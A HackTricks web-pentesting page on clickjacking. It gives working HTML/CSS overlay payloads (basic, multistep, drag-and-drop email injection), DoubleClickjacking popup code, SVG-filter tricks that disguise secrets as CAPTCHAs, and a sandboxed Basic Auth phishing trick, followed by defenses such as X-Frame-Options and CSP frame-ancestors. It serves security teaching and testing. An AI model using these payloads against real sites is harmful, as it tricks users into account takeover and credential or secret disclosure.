clickjacking.md (19056B)
1 --- 2 title: "Clickjacking" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/clickjacking.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/clickjacking.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Clickjacking 14 15 ## What is Clickjacking 16 17 In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.<sup>[[1]](#references)</sup> 18 19 ### Prepopulate forms trick 20 21 Sometimes it is possible to **prepopulate form fields with query parameters when loading a page**. An attacker may combine this behavior with clickjacking so the victim only has to press the submit button. 22 23 ### Populate form with Drag\&Drop 24 25 If a victim must **fill a form** with attacker-chosen data, a drag-and-drop interaction can write controlled text into the framed form without asking the victim to type it directly.<sup>[[9]](#references)</sup> 26 27 ### Basic Payload 28 29 ```css 30 <style> 31 iframe { 32 position:relative; 33 width: 500px; 34 height: 700px; 35 opacity: 0.1; 36 z-index: 2; 37 } 38 div { 39 position:absolute; 40 top:470px; 41 left:60px; 42 z-index: 1; 43 } 44 </style> 45 <div>Click me</div> 46 <iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe> 47 ``` 48 49 ### Multistep Payload 50 51 ```css 52 <style> 53 iframe { 54 position:relative; 55 width: 500px; 56 height: 500px; 57 opacity: 0.1; 58 z-index: 2; 59 } 60 .firstClick, .secondClick { 61 position:absolute; 62 top:330px; 63 left:60px; 64 z-index: 1; 65 } 66 .secondClick { 67 left:210px; 68 } 69 </style> 70 <div class="firstClick">Click me first</div> 71 <div class="secondClick">Click me next</div> 72 <iframe src="https://vulnerable.net/account"></iframe> 73 ``` 74 75 ### Drag\&Drop + Click payload 76 77 ```css 78 <html> 79 <head> 80 <style> 81 #payload{ 82 position: absolute; 83 top: 20px; 84 } 85 iframe{ 86 width: 1000px; 87 height: 675px; 88 border: none; 89 } 90 .xss{ 91 position: fixed; 92 background: #F00; 93 } 94 </style> 95 </head> 96 <body> 97 <div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div> 98 <div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div> 99 <div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div> 100 <iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe> 101 <div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div> 102 </body> 103 </html> 104 ``` 105 106 ### XSS + Clickjacking 107 108 If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\ 109 Example:\ 110 You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\ 111 An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**. 112 113 114 ### DoubleClickjacking 115 116 DoubleClickjacking asks the victim to double-click an attacker-controlled button, then uses the timing gap between `mousedown` and `click` to place the target page under the pointer so the second click lands on a legitimate target control.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup> 117 118 An example could be seen in this video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) 119 120 A code example can be found in [this page](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).<sup>[[10]](#references)</sup> 121 122 > [!WARNING] 123 > This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**. 124 125 126 #### Popup-based DoubleClickjacking (no iframes) 127 128 Some PoCs abandon iframes entirely and keep a **background popup** aligned under the cursor. The attacker page tracks `mousemove` and uses a small popup (`window.open`) that is moved with `moveTo()` while it is **same-origin**; once aligned, it is redirected back to the **target origin** so the next click lands on the real button. Because cross‑origin `moveTo()` is blocked, the popup is briefly navigated to an attacker origin for repositioning, then `location`/`history.back()` returns to the target. To surface the target at click time, the attacker can re‑open the popup **with the same window name** to bring it to the foreground without changing the URL.<sup>[[10]](#references)</sup> 129 130 ```html 131 <script> 132 let w; 133 onclick = () => { 134 if (!w) w = window.open('/shim', 'pj', 'width=360,height=240'); 135 onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} }; 136 // When ready, refocus the already-loaded popup 137 window.open('', 'pj'); 138 }; 139 </script> 140 ``` 141 142 ### SVG Filters / Cross-Origin Iframe UI Redressing 143 144 Modern Chromium/WebKit/Gecko builds let CSS `filter:url(#id)` be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as `SourceGraphic`, so primitives such as `feDisplacementMap`, `feBlend`, `feComposite`, `feColorMatrix`, `feTile`, `feMorphology`, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM.<sup>[[4]](#references)</sup> A simple Liquid-Glass style filter looks like: 145 146 ```html 147 <iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe> 148 ``` 149 150 * Useful primitives: `feImage` loads attacker bitmaps (e.g., overlays, displacement maps); `feFlood` builds constant-color mattes; `feOffset/feGaussianBlur` refine highlights; `feDisplacementMap` refracts/warps text; `feComposite operator="arithmetic"` implements arbitrary per-channel math (`r = k1*i1*i2 + k2*i1 + k3*i2 + k4`), which is enough for contrast boosting, masking, and AND/OR operations; `feTile` crops and replicates pixel probes; `feMorphology` grows/shrinks strokes; `feColorMatrix` moves luma into alpha to build precise masks. 151 152 #### Distorting secrets into CAPTCHA-style prompts 153 154 If a framable endpoint renders secrets (tokens, reset codes, API keys), the attacker can distort them so they resemble a CAPTCHA and coerce manual transcription: 155 156 ```html 157 <svg width="0" height="0"> 158 <filter id="captchaFilter"> 159 <feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" /> 160 <feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" /> 161 </filter> 162 </svg> 163 <iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe> 164 <input pattern="^6c79 ?7261 ?706f ?6e79$" required> 165 ``` 166 167 The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled `<input>` whose `pattern` enforces the real victim secret. 168 169 #### Recontextualizing victim inputs 170 171 Filters can surgically delete placeholder/validation text while keeping user keystrokes. One workflow: 172 173 1. `feComposite operator="arithmetic" k2≈4` amplifies brightness so grey helper text saturates to white. 174 2. `feTile` limits the working area to the input rectangle. 175 3. `feMorphology operator="erode"` thickens the dark glyphs typed by the victim and stores them via `result="thick"`. 176 4. `feFlood` creates a white plate, `feBlend mode="difference"` with `thick`, and a second `feComposite k2≈100` turns it into a stark luma matte. 177 5. `feColorMatrix` moves that luma into alpha, and `feComposite in="SourceGraphic" operator="in"` keeps only user-entered glyphs. 178 6. Another `feBlend in2="white"` plus a thin crop gives a clean textbox, after which the attacker overlays their own HTML labels (e.g., “Enter your email”) while the hidden iframe still enforces the victim origin’s password policy. 179 180 Safari struggles with `feTile`; the same effect can be reproduced with spatial mattes built from `feFlood` + `feColorMatrix` + `feComposite` for WebKit-only payloads. 181 182 #### Pixel probes, logic and state machines 183 184 By cropping a 2–4 px region with `feTile` and tiling it to `100%` of the viewport, the attacker transforms the sampled color into a full-frame texture that can be thresholded into a boolean mask: 185 186 ```html 187 <filter id="pixelProbe"> 188 <feTile x="313" y="141" width="4" height="4" /> 189 <feTile x="0" y="0" width="100%" height="100%" result="probe" /> 190 <feComposite in="probe" operator="arithmetic" k2="120" k4="-1" /> 191 <feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" /> 192 <feGaussianBlur in="SourceGraphic" stdDeviation="2" /> 193 <feComposite operator="in" in2="mask" /> 194 <feBlend in2="SourceGraphic" /> 195 </filter> 196 ``` 197 198 For arbitrary colors, a `feFlood` reference (e.g., `#0B57D0`) plus `feBlend mode="difference"` and another arithmetic composite (`k2≈100`, `k4` as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into `feComposite` with tuned `k1..k4` yields logic gates: `AND` via `k1=1`, `OR` via `k2=k3=1`, `XOR` via `feBlend mode="difference"`, `NOT` via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete. 199 200 Attackers can therefore read UI state without JavaScript. Example booleans from a modal workflow: 201 202 - **D** (dialog visible): probe a darkened corner and test against white. 203 - **L** (dialog loaded): probe the coordinates where the button appears once ready. 204 - **C** (checkbox checked): compare the checkbox pixel against the active blue `#0B57D0`. 205 - **R** (red success/failure banner): use `feMorphology` and red thresholds inside the banner rectangle. 206 207 Each detected state gates a different overlay bitmap embedded via `feImage xlink:href="data:..."`. Masking those bitmaps with `D`, `L`, `C`, `R` keeps the overlays synchronized with the real dialog and walks the victim through multi-step workflows (password resets, approvals, destructive confirmations) without ever exposing the DOM. 208 209 ### Sandboxed iframe Basic Auth dialog (no allow-popups) 210 211 A sandboxed iframe without `allow-popups` can still surface a browser-controlled **HTTP Basic Authentication modal** when a load returns `401` with `WWW-Authenticate`. The dialog is spawned by the browser’s networking/auth layer (not JS `alert/prompt/confirm`), so popup restrictions in the sandbox do **not** suppress it. If you can script the iframe (e.g., `sandbox="allow-scripts"`) you can navigate it to any endpoint issuing a Basic Auth challenge: 212 213 ```html 214 <iframe id="basic" sandbox="allow-scripts"></iframe> 215 <script> 216 basic.src = "https://httpbin.org/basic-auth/user/pass" 217 </script> 218 ``` 219 220 Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a "sandboxed" widget can confuse users or trigger password managers to offer stored credentials.<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup><sup>[[7]](#references)</sup> 221 222 ### Browser extensions: DOM-based autofill clickjacking 223 224 Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.<sup>[[3]](#references)</sup> 225 226 227 A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where **XSS on the relying-party domain** allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.<sup>[[8]](#references)</sup> 228 229 - For concrete techniques and PoCs see: 230 [Browext Clickjacking](/hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking) 231 232 ## Strategies to Mitigate Clickjacking 233 234 ### Client-Side Defenses 235 236 Scripts executed on the client side can perform actions to prevent Clickjacking: 237 238 - Ensuring the application window is the main or top window. 239 - Making all frames visible. 240 - Preventing clicks on invisible frames. 241 - Detecting and alerting users to potential Clickjacking attempts. 242 243 However, these frame-busting scripts may be circumvented: 244 245 - **Browsers' Security Settings:** Some browsers might block these scripts based on their security settings or lack of JavaScript support. 246 - **HTML5 iframe `sandbox` Attribute:** An attacker can neutralize frame buster scripts by setting the `sandbox` attribute with `allow-forms` or `allow-scripts` values without `allow-top-navigation`. This prevents the iframe from verifying if it is the top window, e.g., 247 248 ```html 249 <iframe 250 id="victim_website" 251 src="https://victim-website.com" 252 sandbox="allow-forms allow-scripts"></iframe> 253 ``` 254 255 The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.<sup>[[2]](#references)</sup> 256 257 ### Server-Side Defenses 258 259 #### X-Frame-Options 260 261 The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking: 262 263 - `X-Frame-Options: deny` - No domain can frame the content. 264 - `X-Frame-Options: sameorigin` - Only the current site can frame the content. 265 - `X-Frame-Options: allow-from https://trusted.com` - Only the specified 'uri' can frame the page. 266 - Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive. 267 268 #### Content Security Policy (CSP) frame-ancestors directive 269 270 **`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection: 271 272 - `frame-ancestors 'none'` - Similar to `X-Frame-Options: deny`. 273 - `frame-ancestors 'self'` - Similar to `X-Frame-Options: sameorigin`. 274 - `frame-ancestors trusted.com` - Similar to `X-Frame-Options: allow-from`. 275 276 For instance, the following CSP only allows framing from the same domain: 277 278 `Content-Security-Policy: frame-ancestors 'self';` 279 280 Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors). 281 282 ### Content Security Policy (CSP) with `child-src` and `frame-src` 283 284 **Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content. 285 286 #### `frame-src` Directive 287 288 - Defines valid sources for frames. 289 - More specific than the `default-src` directive. 290 291 ```text 292 Content-Security-Policy: frame-src 'self' https://trusted-website.com; 293 ``` 294 295 This policy allows frames from the same origin (self) and https://trusted-website.com. 296 297 #### `child-src` Directive 298 299 - Introduced in CSP level 2 to set valid sources for web workers and frames. 300 - Acts as a fallback for frame-src and worker-src. 301 302 ```text 303 Content-Security-Policy: child-src 'self' https://trusted-website.com; 304 ``` 305 306 This policy allows frames and workers from the same origin (self) and https://trusted-website.com. 307 308 **Usage Notes:** 309 310 - Deprecation: child-src is being phased out in favor of frame-src and worker-src. 311 - Fallback Behavior: If frame-src is absent, child-src is used as a fallback for frames. If both are absent, default-src is used. 312 - Strict Source Definition: Include only trusted sources in the directives to prevent exploitation. 313 314 #### JavaScript Frame-Breaking Scripts 315 316 Although not completely foolproof, JavaScript-based frame-busting scripts can be used to prevent a web page from being framed. Example: 317 318 ```javascript 319 if (top !== self) { 320 top.location = self.location 321 } 322 ``` 323 324 #### Employing Anti-CSRF Tokens 325 326 - **Token Validation:** Use anti-CSRF tokens in web applications to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page. 327 328 ## References 329 330 - [1] [Clickjacking (PortSwigger Web Security Academy)](https://portswigger.net/web-security/clickjacking) 331 - [2] [Clickjacking Defense Cheat Sheet (OWASP)](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) 332 - [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) 333 - [4] [SVG Filters - Clickjacking 2.0](https://lyra.horse/blog/2025/12/svg-clickjacking/) 334 - [5] [Iframe sandbox Basic Auth modal](https://phor3nsic.github.io/2026/01/21/trick-iframe-sandbox.html) 335 - [6] [Chromestatus: Restrict sandboxed frame dialogs](https://chromestatus.com/feature/4747009953103872) 336 - [7] [Chromium issue about sandboxed auth dialogs](https://issues.chromium.org/issues/40266321) 337 - [8] [Dashlane passkey dialog clickjacking advisory](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue) 338 - [9] [Clickjacking to Account Takeover via Drag&Drop](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) 339 - [10] [DoubleClickjacking: a New Era of UI Redressing (Paulos Yibelo)](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) 340 - [11] [DoubleClickjacking: Clickjacking on major websites (Security Affairs)](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html) 341 - [12] [DoubleClickjacking PoC details (evil.blog)](https://www.evil.blog/2024/12/doubleclickjacking-what.html)